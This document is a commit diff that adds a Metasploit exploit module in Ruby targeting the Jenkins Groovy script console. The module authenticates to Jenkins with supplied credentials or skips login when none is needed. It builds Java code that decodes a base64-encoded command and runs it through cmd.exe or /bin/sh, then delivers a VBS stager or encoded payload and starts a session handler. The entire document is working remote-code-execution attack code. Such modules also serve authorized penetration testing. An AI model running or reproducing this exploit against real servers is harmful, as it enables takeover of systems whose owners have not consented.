add module to execute commands via Jenkins Script Console

Author: zeroSteiner

modules/exploits/multi/http/jenkins_script_console.rb

@@ -0,0 +1,146 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::CmdStagerVBS
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Jenkins Script-Console Java Execution',
+			'Description'    => %q{
+					This module uses the Jenkins Groovy script console to execute
+				OS commands using Java.
+			},
+			'Author'	=>
+				[
+					'Spencer McIntyre',
+					'jamcut'
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: $',
+			'DefaultOptions' =>
+				{
+					'WfsDelay' => '10',
+				},
+			'References'     =>
+				[
+					['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
+				],
+			'Targets'		=>
+				[
+					['Windows',  {'Arch' => ARCH_X86, 'Platform' => 'win'}],
+					['Unix',     {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
+				],
+			'DisclosureDate' => 'Jan 18 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
+				OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
+				OptString.new('PATH', [ true, 'The path to jenkins', '/jenkins' ]),
+			], self.class)
+	end
+
+	def check
+		res = send_request_cgi({'uri' => "#{datastore['PATH']}/login"})
+		if res and res.headers.include?('X-Jenkins')
+			return Exploit::CheckCode::Detected
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def http_send_command(cmd, opts = {})
+		res = send_request_cgi({
+			'method'    => 'POST',
+			'uri'       => datastore['PATH'] + '/script',
+			'cookie'    => @cookie,
+			'vars_post' =>
+				{
+					'script' => java_craft_runtime_exec(cmd),
+					'Submit' => 'Run'
+				}
+		})
+		if not (res and res.code == 200)
+			fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
+		end
+	end
+
+	def java_craft_runtime_exec(cmd)
+		decoder = Rex::Text.rand_text_alpha(5, 8)
+		decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
+		cmd_array = Rex::Text.rand_text_alpha(5, 8)
+		jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
+		jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
+
+		jcode << "String [] #{cmd_array} = new String[3];\n"
+		if target['Platform'] == 'win'
+			jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
+			jcode << "#{cmd_array}[1] = \"/c\";\n"
+		else
+			jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
+			jcode << "#{cmd_array}[1] = \"-c\";\n"
+		end
+		jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
+		jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
+		jcode
+	end
+
+	def execute_command(cmd, opts = {})
+		http_send_command("#{cmd}")
+	end
+
+	def exploit
+		print_status('Checking access to the script console')
+		res = send_request_cgi({'uri' => "#{datastore['PATH']}/script"})
+		if not (res and res.code)
+			fail_with(Exploit::Failure::Unknown)
+		end
+
+		sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
+		@cookie = "#{sessionid}"
+
+		if res.code != 200
+			print_status('Logging in...')
+			res = send_request_cgi({
+				'method'    => 'POST',
+				'uri'       => datastore['PATH'] + '/j_acegi_security_check',
+				'cookie'    => @cookie,
+				'vars_post' =>
+					{
+						'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
+						'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
+						'Submit'     => 'log in'
+					}
+			})
+
+			if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
+				fail_with(Exploit::Failure::NoAccess, 'login failed')
+			end
+		else
+			print_status('No authentication required, skipping login...')
+		end
+
+		case target['Platform']
+		when 'win'
+			print_status("#{rhost}:#{rport} - Sending VBS stager...")
+			execute_cmdstager({:linemax => 2049})
+
+		when 'unix'
+			print_status("#{rhost}:#{rport} - Sending payload...")
+			http_send_command("#{payload.encoded}")
+		end
+
+		handler
+	end
+end